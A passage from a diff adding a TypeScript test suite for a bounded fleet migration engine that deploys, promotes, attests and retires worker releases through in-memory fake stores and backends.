externalEgressProxyScriptName(targetSpec), + artifactVersion: 'egress-v1', + artifactDigest: 'b'.repeat(64), + ...targetFor(targetSpec).outboundPolicy, + }, + }); + const physicalName = (target: DeploymentSpec) => + external ? externalReleaseScriptName(target) : target.scriptName; + const liveFor = ( + target: DeploymentSpec, + artifactVersion: string, + application = EMPTY_APPLICATION, + ): LiveDeployment => { + const live = { + tenantTag: target.tenantTag, + environment: target.environment, + scriptName: physicalName(target), + databaseId: `db-${target.tenantTag}`, + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + plainTextBindings: Object.fromEntries( + application.vars.map(({ name, value }) => [name, value]), + ), + secretNames: [ + 'DEPLOYMENT_IDENTITY_SECRET', + ...(external ? [] : ['MAINTENANCE_ADMIN_SECRET']), + ...application.secrets.map(({ name }) => name), + ].sort(), + r2BucketBindings: application.r2Buckets, + artifactVersion, + desiredSpecDigest: deploymentSpecDigest(target), + schemaVersion: target.schemaVersion, + maintenance: HEALTHY, + }; + return { + ...live, + providerBindingIdentities: providerBindingIdentitiesForInspection({ + ...live, + databaseIds: [live.databaseId], + }), + }; + }; + const priorRelease: ExternalReleaseSnapshot = { + physicalScriptName: physicalName(priorSpec), + specDigest: deploymentSpecDigest(priorSpec), + artifactVersion: 'v1', + releaseSchemaVersion: 1, + application: EMPTY_APPLICATION, + }; + const priorTarget = targetFor(priorSpec); + const initial: FleetRecord = { + ...baseRecord(priorSpec), + ...(external + ? { + activeRelease: priorRelease, + platformTarget: priorTarget, + outboundPolicy: priorTarget.outboundPolicy, + platformResources: resourcesFor(priorSpec), + } + : {}), + ...(input.lagging + ? { + schemaVersion: 2, + platformTarget: { + ...priorTarget, + d1SchemaVersion: 2, + d1SchemaHistoryDigest: 'f'.repeat(64), + }, + } + : {}), + }; + releases.set(physicalName(priorSpec), liveFor(priorSpec, 'v1')); + routed.set(spec.tenantTag, physicalName(priorSpec)); + if (path === 'platform-only') stateDigest = 'd'.repeat(64); + const fleetStore = new MemoryFleetStore([initial]); + const operationStore = new MemoryOperationStore(); + let maintenance = HEALTHY; + let failure: { operation: string; error: unknown } | undefined; + const call = (name: string) => { + if (!fleetStore.held) + throw new Error(`provider ${name} called outside deployment lease`); + ops.push(name); + if (failure?.operation === name) throw failure.error; + }; + const backend: ProvisioningBackend = { + kind: external ? 'workers-for-platforms' : 'plain-worker', + findDatabase: unused, + ensureDatabase: unused, + removeTraffic: unused, + assertTrafficRemoved: unused, + revokeCredentials: unused, + deleteWorker: unused, + assertDatabaseDetached: unused, + exportDatabase: unused, + deleteDatabase: unused, + getDatabase: async (id) => { + call('getDatabase'); + return { id, name: `database-${id.slice(3)}`, created: false }; + }, + readDeploymentIdentity: async (database) => { + call('readDeploymentIdentity'); + return database.id.slice(3); + }, + seedDeploymentIdentity: async (_database, tenant) => { + call(`seed:${tenant}`); + }, + applyMigrations: async (_database, migrations) => { + call( + migrations === spec.migrations + ? 'apply:verify' + : `apply:${migrations.at(-1)?.version}`, + ); + if (migrations === spec.migrations) { + if (migrations.some(({ version }) => !ledger.has(version))) + throw new Error('migration ledger is incomplete'); + } else { + for (const { version } of migrations) ledger.add(version); + } + }, + deployWorker: async ( + target, + _database, + _secrets, + _resources, + _lease, + _expected, + application, + ) => { + call('deploy'); + const artifactVersion = `v${target.schemaVersion}`; + releases.set( + physicalName(target), + liveFor(target, artifactVersion, application), + ); + applications.set(physicalName(target), application ?? EMPTY_APPLICATION); + return { + artifactVersion, + created: true, + physicalScriptName: physicalName(target), + }; + }, + inspect: async (target) => { + call('inspect'); + return releases.get(physicalName(target)); + }, + ensureMaintenance: async (target) => { + call('maintenance'); + const live = releases.get(physicalName(target)); + if (live) releases.set(physicalName(target), { ...live, maintenance }); + return maintenance; + }, + promoteWorker: async (target, guard) => { + call('promote'); + const serving = routed.get(target.tenantTag); + if (serving && !guard.allowedCurrentScriptNames.includes(serving)) + throw new Error('route changed'); + routed.set(target.tenantTag, physicalName(target)); + }, + attestActiveRoute: async (target) => { + call('attest'); + const script = routed.get(target.tenantTag); + const live = script ? releases.get(script) : undefined; + if (!script || !live) throw new Error('route is absent'); + return { + specDigest: live.desiredSpecDigest, + artifactVersion: live.artifactVersion, + physicalScriptName: script, + source: external ? 'dispatch-route' : 'workers-deployments', + observedAt: new Date(NOW).toISOString(), + }; + }, + ...(external + ? { + immutableExternalArtifacts: true as const, + releaseScriptName: (target: DeploymentSpec) => { + call('releaseScriptName'); + return physicalName(target); + }, + describeExternalPlatformTarget: (target: DeploymentSpec) => { + call('describeTarget'); + return targetFor(target); + }, + ensurePlatformResources: async (target: DeploymentSpec) => { + call('platform'); + return { + resources: resourcesFor(target), + created: { stateWorker: false, egressProxy: false }, + }; + }, + deleteRetainedRelease: async ( + _target: DeploymentSpec, + release: ExternalReleaseSnapshot, + ) => { + call(`retire:${release.physicalScriptName}`); + releases.delete(release.physicalScriptName); + }, + } + : {}), + }; + const options = ( + action: FleetMigrationAdvanceAction, + ): AdvanceFleetMigrationOptions => ({ + operationStore, + fleetStore, + backendFor(record) { + ops.push(`backend:${record.tenantTag}`); + return backend; + }, + specFor(record) { + ops.push(`spec:${record.tenantTag}`); + return spec; + }, + secretsFor(record) { + ops.push(`secrets:${record.tenantTag}`); + return SECRETS; + }, + settlementFor() { + ops.push('settlementFor'); + return { + settle: async () => { + call('settle'); + }, + }; + }, + clock: () => NOW, + action, + }); + return { + initial, + priorSpec, + priorRelease, + priorTarget, + backend, + fleetStore, + operationStore, + ops, + releases, + routed, + applications, + ledger, + options, + targetFor, + resourcesFor, + liveFor, + get spec() { + return spec; + }, + set spec(next: DeploymentSpec) { + spec = next; + }, + setMaintenance(next: MaintenanceHealth) { + maintenance = next; + }, + fail(operation: string, error: unknown) { + failure = { operation, error }; + }, + clearFailure() { + failure = undefined; + }, + start( + id = uuid(), + records: readonly FleetRecord[] = [initial], + canaryTenantTags: readonly string[] = [], + ) { + return advanceFleetMigration( + options({ kind: 'start', operationId: id, records, canaryTenantTags }), + ); + }, + current() { + return fleetStore.records.get( + `${initial.tenantTag}:${initial.environment}`, + ) as FleetRecord; + }, + }; +} + +type World = ReturnType; + +async function continueWorld( + world: World, + result: FleetMigrationAdvanceResult, +): Promise { + return advanceFleetMigration( + world.options({ kind: 'continue', token: result.token }), + ); +} + +async function advanceTo( + world: World, + step: FleetMigrationStep, + result?: FleetMigrationAdvanceResult, +): Promise { + let next = result ?? (await world.start()); + for (let count = 0; count < 80; count += 1) { + const item = world.operationStore.item(); + if (item.plan?.[item.planCursor ?? -1]?.step === step) return next; + if (next.status !== 'pending') throw new Error(`terminated before ${step}`); + next = await continueWorld(world, next); + } + throw new Error(`did not reach ${step}`); +} + +async function drainWorld( + world: World, + result?: FleetMigrationAdvanceResult, +): Promise { + let next = result ?? (await world.start()); + for (let count = 0; count < 100; count += 1) { + if (next.status !== 'pending') return next; + next = await continueWorld(world, next); + } + throw new Error('migration did not finish'); +} + +async function withAdmitted( + world: World, + run: ( + admitted: Awaited>, + ) => Promise, +): Promise { + return world.fleetStore.withDeploymentLease( + world.initial.tenantTag, + world.initial.environment, + async (lease) => { + const options = world.options({ kind: 'continue', token: {} }); + return run( + await admitFleetMigrationItem( + { + store: world.fleetStore, + lease, + backendFor: options.backendFor, + specFor: options.specFor, + secretsFor: options.secretsFor, + settlementFor: options.settlementFor, + clock: () => NOW, + ordinal: 1, + attestationOptions: { clock: () => NOW }, + }, + world.initial.tenantTag, + world.initial.environment, + ), + ); + }, + ); +} + +describe('bounded fleet migration', () => { + it('start freezes the exact legacy order (dup-canary last-wins, stable equal rank, localeCompare)', async () => { + const world = createWorld(); + const records = [ + baseRecord(deploymentSpec('gamma')), + { ...baseRecord(deploymentSpec('cedar')), environment: 'staging' }, + baseRecord(deploymentSpec('birch')), + baseRecord(deploymentSpec('cedar')), + baseRecord(deploymentSpec('alpha')), + ]; + const expected = [ + records[2], + records[1], + records[3], + records[4], + records[0], + ].map((record) => copy(record)); + const canaries = ['cedar', 'birch', 'cedar']; + const action = { + kind: 'start' as const, + operationId: uuid(), + records, + canaryTenantTags: canaries, + }; + let idReads = 0; + Object.defineProperty(action, 'operationId', { + get: () => { + expect(++idReads).toBe(1); + return uuid(); + }, + }); + world.operationStore.beforeLease = () => { + records.reverse(); + records[0] = baseRecord(deploymentSpec('replaced')); + canaries.reverse(); + }; + await advanceFleetMigration(world.options(action)); + const items = ( + await readFleetMigrationItemsPage(world.operationStore, { + operationId: uuid(), + limit: 100, + }) + ).items; + expect( + items.map(({ tenantTag, environment }) => `${tenantTag}:${environment}`), + ).toEqual( + expected.map((record) => `${record?.tenantTag}:${record?.environment}`), + ); + expect(items.map(({ canaryRank }) => canaryRank)).toEqual([ + 1, + 2, + 2, + undefined, + undefined, + ]); + expect(items.map(({ entryRecordDigest }) => entryRecordDigest)).toEqual( + expected.map(fleetOperationIntakeDigest), + ); + expect(world.ops).toEqual([]); + expect(world.fleetStore.ops).toEqual([]); + }); + + it('start replay converges on the classified outcome; item staging is callback-free', async () => { + const world = createWorld({ path: 'ready' }); + const first = await world.start(); + expect(first).toMatchObject({ status: 'pending', token: { revision: 1 } }); + expect(world.operationStore.calls).toEqual(['start', 'stage', 'commit']); + expect(world.ops).toEqual([]); + expect(await world.start()).toEqual(first); + expect(world.operationStore.calls).toEqual([ + 'start', + 'stage', + 'commit', + 'start', + ]); + const admitted = await continueWorld(world, first); + const calls = [...world.operationStore.calls]; + world.ops.length = 0; + expect(await world.start()).toEqual(admitted); + expect(world.operationStore.calls).toEqual([...calls, 'start']); + expect(world.ops).toEqual([]); + const completed = await drainWorld(world, admitted); + const beforeReplay = [...world.operationStore.calls]; + world.ops.length = 0; + expect(await world.start()).toEqual(completed); + expect(world.operationStore.calls).toEqual([...beforeReplay, 'start']); + expect(world.ops).toEqual([]); + + for (const staged of [0, 1]) { + const interrupted = createWorld(); + const records = [ + interrupted.initial, + baseRecord(deploymentSpec('other')), + ]; + interrupted.operationStore.stageLimit = staged; + await expect(interrupted.start(uuid(), records)).rejects.toThrow( + 'staging interrupted', + ); + expect(interrupted.operationStore.rows.get(uuid())?.length ?? 0).toBe( + staged, + ); + const pending = await advanceFleetMigration( + interrupted.options({ + kind: 'continue', + token: { version: 1, operationId: uuid(), revision: 0 }, + }), + ); + expect(pending).toMatchObject({ + status: 'pending', + token: { revision: 0 }, + }); + expect(interrupted.ops).toEqual([]); + await interrupted.start(uuid(), records); + expect(interrupted.operationStore.rows.get(uuid())).toHaveLength(2); + expect(interrupted.operationStore.item().status).toBe('pending'); + expect(interrupted.ops).toEqual([]); + } + const responseLost = createWorld(); + responseLost.operationStore.loseCommit = 'after'; + await expect(responseLost.start()).rejects.toThrow( + 'progress response lost', + ); + const replayed = await responseLost.start(); + expect(replayed).toMatchObject({ + status: 'pending', + token: { revision: 1 }, + }); + expect( + responseLost.operationStore.calls.filter((call) => call === 'commit'), + ).toHaveLength(1); + expect(responseLost.ops).toEqual([]); + + const composed = responseLost.operationStore.commits[0]; + if (!composed) throw new Error('missing committed start'); + await responseLost.operationStore.withAccountOperationLease( + 'migration', + async (lease) => { + await expect(lease.commitProgress(composed)).resolves.toEqual( + composed.runRecord, + ); + await expect(lease.commitProgress(copy(composed))).resolves.toEqual( + composed.runRecord, + ); + await expect( + lease.commitProgress({ + ...composed, + runRecord: { + ...composed.runRecord, + updatedAt: '2000-01-01T00:00:00.000Z', + }, + }), + ).rejects.toThrow('expected revision'); + }, + ); + const empty = createWorld(); + const emptyStart = await empty.start(uuid(), []); + expect(await continueWorld(empty, emptyStart)).toMatchObject({ + status: 'complete', + result: { itemCount: 0, completedItemCount: 0 }, + }); + expect(empty.ops).toEqual([]); + const invalidReplay = createWorld(); + await invalidReplay.start(uuid(), [ + invalidReplay.initial, + invalidReplay.initial, + ]); + const intended = invalidReplay.operationStore.operations.get(uuid()); + const persistedRows = copy(invalidReplay.operationStore.rows.get(uuid())); + const row = persistedRows?.[1]; + if (!intended || !row) throw new Error('missing replay fixture'); + for (const mutations of [ + { rows: [row, row] }, + { rows: [row], updateRows: [row] }, + { updateRows: [row, row] }, + { updateRows: [{ ...row, rowKind: 'record' as const }] }, + ]) { + await invalidReplay.operationStore.withAccountOperationLease( + 'migration', + async (lease) => { + await expect( + lease.commitProgress({ + operationId: uuid(), + expectedRevision: 0, + runRecord: intended, + expectedRowWatermarks: { item: 2 }, + ...mutations, + }), + ).rejects.toBeInstanceOf(FleetOperationStateError); + }, + ); + expect(invalidReplay.operationStore.operations.get(uuid())).toEqual( + intended, + ); + expect(invalidReplay.operationStore.rows.get(uuid())).toEqual( + persistedRows, + ); + } + }); + + it('intake-digest mismatch conflict', async () => { + const world = createWorld(); + await world.start(); + await expect( + world.start(uuid(), [{ ...world.initial, artifactVersion: 'changed' }]), + ).rejects.toThrow('already exists with a different intake'); + await expect( + world.start(uuid(), [world.initial], ['unmatched']), + ).rejects.toThrow('already exists with a different intake'); + expect(world.ops).toEqual([]); + expect(world.operationStore.rows.get(uuid())).toHaveLength(1); + }); + + it('contention under a foreign active migration', async () => { + const world = createWorld(); + await world.start(); + await expect(world.start(uuid(2))).rejects.toThrow( + 'another fleet migration operation is active for this account', + ); + expect(world.operationStore.operations.size).toBe(1); + expect(world.ops).toEqual([]); + }); + + it("an audit operation's token yields a kind error", async () => { + const world = createWorld(); + const started = await world.start(); + const prior = world.operationStore.operations.get(uuid()); + if (!prior) throw new Error('missing run fixture'); + world.operationStore.operations.set(uuid(), { + ...prior, + kind: 'audit', + progress: { ...prior.progress, kind: 'audit' }, + }); + await expect(continueWorld(world, started)).rejects.toThrow( + FleetOperationTokenKindError, + ); + expect(world.ops).toEqual([]); + }); + + it('stale token returns authoritative state, including failed, with zero provider work', async () => { + const world = createWorld(); + const started = await world.start(); + const admitted = await continueWorld(world, started); + world.ops.length = 0; + expect(await continueWorld(world, started)).toEqual(admitted); + expect(world.ops).toEqual([]); + await abandonFleetMigrationOperation({ + operationStore: world.operationStore, + operationId: uuid(), + }); + world.ops.length = 0; + expect(await continueWorld(world, started)).toMatchObject({ + status: 'failed', + failure: { reason: 'operator-abandoned' }, + }); + expect(world.ops).toEqual([]); + }); + + it('future token error', async () => { + const world = createWorld(); + const started = await world.start(); + await expect( + advanceFleetMigration( + world.options({ + kind: 'continue', + token: { ...started.token, revision: started.token.revision + 1 }, + }), + ), + ).rejects.toThrow(FleetOperationTokenFutureError); + expect(world.ops).toEqual([]); + }); + + it('absent-operation adjudication', async () => { + const world = createWorld(); + await expect( + advanceFleetMigration( + world.options({ + kind: 'continue', + token: { version: 1, operationId: uuid(), revision: 0 }, + }), + ), + ).rejects.toThrow(FleetOperationTokenOperationError); + expect(world.ops).toEqual([]); + expect(world.operationStore.operations.size).toBe(0); + }); + + it('operation-store capability error', async () => { + for (const member of [ + 'withAccountOperationLease', + 'readOperationById', + 'readOperationRowsPage', + ] as const) { + const world = createWorld(); + const options = world.options({ + kind: 'start', + operationId: uuid(), + records: [world.initial], + canaryTenantTags: [], + }); + Object.defineProperty(world.operationStore, member, { value: undefined }); + await expect(advanceFleetMigration(options)).rejects.toMatchObject({ + name: 'FleetMigrationAdvanceCapabilityError', + capability: 'operation-store', + message: 'fleet migration advance requires an operation store', + }); + expect(world.operationStore.calls).toEqual([]); + expect(world.ops).toEqual([]); + } + expect(new FleetMigrationAdvanceCapabilityError()).toBeInstanceOf(Error); + }); + + it('operationId validation refusal at start', async () => { + for (const id of [ + '', + uuid(0xab).toUpperCase(), + 'not-a-uuid', + uuid().replace('-4000-', '-1000-'), + ]) { + const world = createWorld(); + await expect(world.start(id)).rejects.toThrow( + 'operationId must be a lowercase UUIDv4', + ); + expect(world.operationStore.calls).toEqual([]); + expect(world.ops).toEqual([]); + } + }); + + it('item-bound and intake byte-bound refusals at start', async () => { + const world = createWorld(); + await expect( + world.start( + uuid(), + Array.from( + { length: FLEET_OPERATION_ITEM_BOUND + 1 }, + () => world.initial, + ), + ), + ).rejects.toThrow('at most 10000 records'); + const oversized = { + ...world.initial, + padding: Array.from({ length: 40 }, () => 'x'.repeat(3000)), + }; + expect(JSON.stringify(oversized).length).toBeGreaterThan( + FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + ); + await expect(world.start(uuid(), [oversized])).rejects.toThrow( + 'record 1 exceeds the staged row byte bound', + ); + const medium = { + ...world.initial, + padding: Array.from({ length: 25 }, () => 'x'.repeat(3000)), + }; + const count = + Math.ceil( + FLEET_OPERATION_INTAKE_BYTE_BOUND / JSON.stringify(medium).length, + ) + 1; + await expect( + world.start( + uuid(), + Array.from({ length: count }, () => medium), + ), + ).rejects.toThrow('canonical intake exceeds the intake byte bound'); + await expect( + world.start(uuid(), [{ ...world.initial, tenantTag: 'INVALID' }]), + ).rejects.toThrow('deployment identifier grammar'); + const cyclic: Record = {}; + cyclic.self = cyclic; + const nested: unknown[] = []; + let cursor = nested; + for (let index = 0; index < 65; index += 1) { + const next: unknown[] = []; + cursor.push(next); + cursor = next; + } + for (const canaries of [ + null, + 3, + 'cedar', + [3], + cyclic, + nested, + ['x'.repeat(4097)], + ]) { + const options = world.options({ + kind: 'start', + operationId: uuid(), + records: [world.initial], + canaryTenantTags: canaries as readonly string[], + }); + await expect(advanceFleetMigration(options)).rejects.toThrow( + /canaryTenantTags/, + ); + } + expect(world.operationStore.calls).toEqual([]); + expect(world.ops).toEqual([]); + }); + + it('the ADMIT call is mutation-free and commits the stored target digest, frozen plan and cursor zero', async () => { + const world = createWorld(); + world.fleetStore.set({ + ...world.initial, + schemaVersion: 2, + artifactVersion: 'stored-v2', + }); + const started = await world.start(); + const admitted = await continueWorld(world, started); + expect(admitted).toMatchObject({ + status: 'pending', + itemOrdinal: 0, + planCursor: 0, + }); + expect(world.fleetStore.puts).toEqual([]); + expect(world.ops).toEqual([ + 'backend:cedar', + 'spec:cedar', + 'secrets:cedar', + 'getDatabase', + 'readDeploymentIdentity', + ]); + expect(world.operationStore.item()).toMatchObject({ + entryRecordDigest: fleetOperationIntakeDigest(world.initial), + targetSpecDigest: deploymentSpecDigest(world.spec), + planCursor: 0, + status: 'active', + }); + expect( + world.operationStore + .item() + .plan?.filter(({ step }) => step === 'apply-migrations'), + ).toEqual([{ step: 'apply-migrations', targetSchemaVersion: 3 }]); + expect(world.fleetStore.ops.filter((op) => op === 'get')).toHaveLength(1); + }); + + it('retire-pre joins the plan only with both admission conjuncts and its re-run no-ops', async () => { + const world = createWorld({ external: true }); + world.fleetStore.set({ + ...world.initial, + retiringRelease: { + ...world.priorRelease, + physicalScriptName: 'expired-release', + }, + }); + const admitted = await continueWorld(world, await world.start()); + expect(world.operationStore.item().plan?.[0]).toEqual({ + step: 'retire-pre', + }); + world.operationStore.loseCommit = 'before'; + await expect(continueWorld(world, admitted)).rejects.toThrow( + 'progress response lost', + ); + expect(world.current().retiringRelease).toBeUndefined(); + expect(world.ops).toContain('retire:expired-release'); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + await continueWorld(world, admitted); + expect(world.ops.some((op) => op.startsWith('retire:'))).toBe(false); + expect(world.fleetStore.puts).toHaveLength(puts); + const migrating = createWorld(); + migrating.fleetStore.set({ + ...migrating.initial, + phase: 'migrating', + pendingSpecDigest: deploymentSpecDigest(migrating.spec), + retiringRelease: world.priorRelease, + }); + await continueWorld(migrating, await migrating.start()); + expect(migrating.operationStore.item().plan?.[0]).toEqual({ + step: 'assert-migrating', + }); + const noRetirement = createWorld(); + await continueWorld(noRetirement, await noRetirement.start()); + expect( + noRetirement.operationStore + .item() + .plan?.some(({ step }) => step === 'retire-pre'), + ).toBe(false); + }); + + it('each version-applying occurrence applies exactly its frozen targetSchemaVersion, one per call', async () => { + const world = createWorld({ schemaVersion: 4 }); + let token = await advanceTo(world, 'apply-migrations'); + expect( + world.operationStore + .item() + .plan?.filter(({ step }) => step === 'apply-migrations'), + ).toEqual( + [2, 3, 4].map((targetSchemaVersion) => ({ + step: 'apply-migrations', + targetSchemaVersion, + })), + ); + for (const version of [2, 3, 4]) { + world.ops.length = 0; + token = await continueWorld(world, token); + expect(world.ops.filter((op) => op.startsWith('apply:'))).toEqual([ + `apply:${version}`, + ]); + expect(world.current().schemaVersion).toBe(version); + expect([...world.ledger]).toEqual( + Array.from({ length: version }, (_, index) => index + 1), + ); + } + }); + + it('the zero-pending occurrence has no targetSchemaVersion and performs ledger verification', async () => { + const world = createWorld(); + world.fleetStore.set({ ...world.initial, schemaVersion: 3 }); + world.ledger.add(2); + world.ledger.add(3); + const token = await advanceTo(world, 'apply-migrations'); + expect( + world.operationStore + .item() + .plan?.filter(({ step }) => step === 'apply-migrations'), + ).toEqual([{ step: 'apply-migrations' }]); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + await continueWorld(world, token); + expect(world.ops.filter((op) => op.startsWith('apply:'))).toEqual([ + 'apply:verify', + ]); + expect(world.fleetStore.puts).toHaveLength(puts); + }); + + it('per-step mutations match the table across all three plans, including exact admitted intent bytes', async () => { + const effects = (ops: readonly string[]) => + ops.filter( + (op) => + !/^(backend:|spec:|secrets:)/u.test(op) && + ![ + 'releaseScriptName', + 'describeTarget', + 'getDatabase', + 'readDeploymentIdentity', + ].includes(op), + ); + for (const config of [ + { path: 'ready', external: true }, + { path: 'platform-only', external: true }, + { path: 'full', external: true }, + { path: 'full', external: false }, + ] as const) { + const world = createWorld(config); + let token = await continueWorld(world, await world.start()); + const plan = world.operationStore.item().plan; + if (!plan) throw new Error('missing frozen plan'); + const expected: Partial> = { + 'ready-target-backfill': [], + 'ready-platform-resources': ['platform'], + 'ready-maintenance': ['inspect'], + 'ready-promote': ['promote'], + 'ready-attest-settle': ['settlementFor', 'attest', 'settle'], + 'ready-retire-post': [], + 'admit-migrating': [], + 'assert-migrating': [], + 'platform-only-schema': [], + 'platform-only-resources': ['platform'], + 'platform-only-maintenance': ['inspect', 'maintenance'], + 'platform-only-promote': ['inspect', 'promote'], + 'platform-only-ready': ['inspect', 'settlementFor', 'attest', 'settle'], + 'seed-identity': ['seed:cedar'], + 'migration-schema-applied': [], + 'platform-resources': config.external ? ['platform'] : [], + 'pending-topology': [], + 'deploy-candidate': config.external + ? ['deploy', 'inspect'] + : ['inspect', 'deploy', 'inspect'], + 'arm-maintenance': ['maintenance'], + promote: ['inspect', 'promote'], + 'settle-ready': ['inspect', 'settlementFor', 'attest', 'settle'], + 'retire-post': [], + }; + const expectedPuts: Partial> = { + 'ready-target-backfill': 0, + 'ready-platform-resources': 0, + 'ready-maintenance': 0, + 'ready-promote': 1, + 'ready-attest-settle': 1, + 'ready-retire-post': 0, + 'admit-migrating': 1, + 'assert-migrating': 0, + 'platform-only-schema': 1, + 'platform-only-resources': 2, + 'platform-only-maintenance': 1, + 'platform-only-promote': 1, + 'platform-only-ready': 1, + 'seed-identity': 0, + 'apply-migrations': 1, + 'migration-schema-applied': config.external ? 1 : 0, + 'platform-resources': config.external ? 2 : 0, + 'pending-topology': config.external ? 1 : 0, + 'deploy-candidate': 2, + 'arm-maintenance': config.external ? 1 : 0, + promote: config.external ? 1 : 0, + 'settle-ready': 1, + 'retire-post': 0, + }; + for (const [cursor, entry] of plan.entries()) { + world.ops.length = 0; + world.fleetStore.ops.length = 0; + const puts = world.fleetStore.puts.length; + const commits = world.operationStore.calls.filter( + (op) => op === 'commit', + ).length; + token = await continueWorld(world, token); + expect( + effects(world.ops), + `${config.path}/${config.external}/${entry.step}`, + ).toEqual( + entry.step === 'apply-migrations' + ? [`apply:${entry.targetSchemaVersion}`] + : expected[entry.step], + ); + expect( + world.fleetStore.puts.length - puts, + `${config.path}/${config.external}/${entry.step} puts`, + ).toBe(expectedPuts[entry.step]); + expect(world.fleetStore.ops.filter((op) => op === 'get')).toHaveLength( + 1, + ); + expect( + world.operationStore.calls.filter((op) => op === 'commit'), + ).toHaveLength(commits + 1); + expect(world.operationStore.item().planCursor).toBe(cursor + 1); + if (entry.step === 'admit-migrating' && config.external) { + const intent = world.current().migrationIntent; + const common = { + targetSpecDigest: deploymentSpecDigest(world.spec), + priorRelease: world.priorRelease, + priorTarget: world.priorTarget, + priorOutboundPolicy: world.priorTarget.outboundPolicy, + subphase: 'planned', + }; + expect(intent).toStrictEqual( + config.path === 'platform-only' + ? { + platformOnly: true, + ...common, + targetRelease: world.priorRelease, + target: world.targetFor(world.spec), + } + : { + ...common, + targetRelease: { + physicalScriptName: externalReleaseScriptName(world.spec), + specDigest: deploymentSpecDigest(world.spec), + artifactVersion: 'pending', + releaseSchemaVersion: world.spec.schemaVersion, + application: EMPTY_APPLICATION, + }, + target: world.targetFor(world.spec), + }, + ); + expect(Object.hasOwn(intent ?? {}, 'platformOnly')).toBe( + config.path === 'platform-only', + ); + } + } + expect(world.operationStore.item().status).toBe('complete'); + expect(world.current().phase).toBe('ready'); + expect((await continueWorld(world, token)).status).toBe('complete'); + } + for (const config of [ + { path: 'full', external: false }, + { path: 'full', external: true }, + { path: 'platform-only', external: true }, + ] as const) { + const world = createWorld(config); + const token = await advanceTo(world, 'admit-migrating'); + const cursor = world.operationStore.item().planCursor; + world.operationStore.loseCommit = 'before'; + await expect(continueWorld(world, token)).rejects.toThrow( + 'progress response lost', + ); + const migrated = copy(world.current()); + const puts = world.fleetStore.puts.length; + expect(migrated.phase).toBe('migrating'); + expect(world.operationStore.item().planCursor).toBe(cursor); + await continueWorld(world, token); + expect(world.current()).toEqual(migrated); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(world.operationStore.item().planCursor).toBe((cursor ?? 0) + 1); + expect(world.operationStore.calls).not.toContain('fail'); + } + for (const bounded of [false, true]) { + const world = createWorld(); + const applicationSecret = 'migration-application-secret'; + world.spec = { + ...world.spec, + application: { + vars: [{ name: 'FEATURE', value: 'enabled' }], + secrets: [ + { + name: 'UPSTREAM_KEY', + valueSha256: createHash('sha256') + .update(applicationSecret) + .digest('hex'), + }, + ], + r2Buckets: [], + }, + }; + const optionsFor = world.options; + world.options = (action) => ({ + ...optionsFor(action), + secretsFor: () => ({ + ...SECRETS, + application: { UPSTREAM_KEY: applicationSecret }, + }), + }); + if (bounded) { + expect((await drainWorld(world)).status).toBe('complete'); + } else { + const options = world.options({ kind: 'continue', token: {} }); + await migrateFleet({ + store: world.fleetStore, + records: [world.initial], + canaryTenantTags: [], + backendFor: options.backendFor, + specFor: options.specFor, + secretsFor: options.secretsFor, + settlementFor: options.settlementFor, + clock: options.clock, + }); + } + expect(world.current().phase).toBe('ready'); + expect(world.current().applicationBindings?.vars).toEqual([ + { name: 'FEATURE', value: 'enabled' }, + ]); + expect( + world.releases.get(world.spec.scriptName)?.plainTextBindings, + ).toEqual({ + FEATURE: 'enabled', + }); + expect(world.ops).toContain('promote'); + expect(world.ops).toContain('settle'); + expect(world.releases.get(world.spec.scriptName)?.secretNames).toContain( + 'UPSTREAM_KEY', + ); + } + }); + + it('target-drift is classified before non-ready guards and cannot be forged by callback throws', async () => { + for (const backfillShape of [false, true]) { + const world = createWorld({ external: backfillShape }); + const admitted = await continueWorld(world, await world.start()); + if (backfillShape) { + const record = { ...world.current() }; + delete record.platformTarget; + world.fleetStore.set(record); + expect(record.platformResources).toBeDefined(); + } + world.spec = { + ...world.spec, + modules: [ + { name: 'worker.js', content: 'export default { changed: true }' }, + ], + }; + if (backfillShape) { + world.fleetStore.set({ + ...world.current(), + desiredSpecDigest: deploymentSpecDigest(world.spec), + }); + } + const puts = world.fleetStore.puts.length; + await expect(continueWorld(world, admitted)).rejects.toThrow( + 'fleet migration target specification changed after admission', + ); + expect( + world.operationStore.operations.get(uuid())?.progress.failure, + ).toEqual({ reason: 'target-drift', itemOrdinal: 0 }); + expect(world.operationStore.item().status).toBe('failed'); + expect(world.fleetStore.puts).toHaveLength(puts); + expect( + world.operationStore.calls.filter((op) => op === 'fail'), + ).toHaveLength(1); + } + for (const config of [ + { path: 'full', external: false }, + { path: 'full', external: true }, + { path: 'platform-only', external: true }, + ] as const) { + const world = createWorld(config); + const token = await advanceTo(world, 'assert-migrating'); + world.spec = { + ...world.spec, + modules: [ + { name: 'worker.js', content: 'export default { changed: true }' }, + ], + }; + const puts = world.fleetStore.puts.length; + await expect(continueWorld(world, token)).rejects.toThrow( + "deployment 'cedar:production' retry uses a different desired specification", + ); + expect( + world.operationStore.operations.get(uuid())?.progress.failure, + ).toEqual({ + reason: 'item-failed', + itemOrdinal: 0, + }); + expect(world.fleetStore.puts).toHaveLength(puts); + } + for (const thrown of [ + new Error('fleet migration target specification changed after admission'), + { reason: 'target-drift' }, + ]) { + const world = createWorld(); + const admitted = await continueWorld(world, await world.start()); + const options = world.options({ + kind: 'continue', + token: admitted.token, + }); + await expect( + advanceFleetMigration({ + ...options, + specFor: () => { + throw thrown; + }, + }), + ).rejects.toBe(thrown); + expect( + world.operationStore.operations.get(uuid())?.progress.failure, + ).toEqual({ reason: 'item-failed', itemOrdinal: 0 }); + } + }); + + it('a migrating-phase admission resumes both persisted intent kinds and preserves the legacy divergence refusal', async () => { + for (const path of ['full', 'platform-only'] as const) { + const world = createWorld({ path, external: true }); + await advanceTo(world, 'assert-migrating'); + const store = new MemoryOperationStore(); + const options = (action: FleetMigrationAdvanceAction) => ({ + ...world.options(action), + operationStore: store, + }); + const started = await advanceFleetMigration( + options({ + kind: 'start', + operationId: uuid(2), + records: [world.current()], + canaryTenantTags: [], + }), + ); + world.fleetStore.puts.length = 0; + await advanceFleetMigration( + options({ kind: 'continue', token: started.token }), + ); + const item = store.item(uuid(2)); + expect(item.plan?.[0]).toEqual({ step: 'assert-migrating' }); + expect(item.plan?.some(({ step }) => step === 'admit-migrating')).toBe( + false, + ); + expect( + item.plan?.some(({ step }) => step.startsWith('platform-only-')), + ).toBe(path === 'platform-only'); + 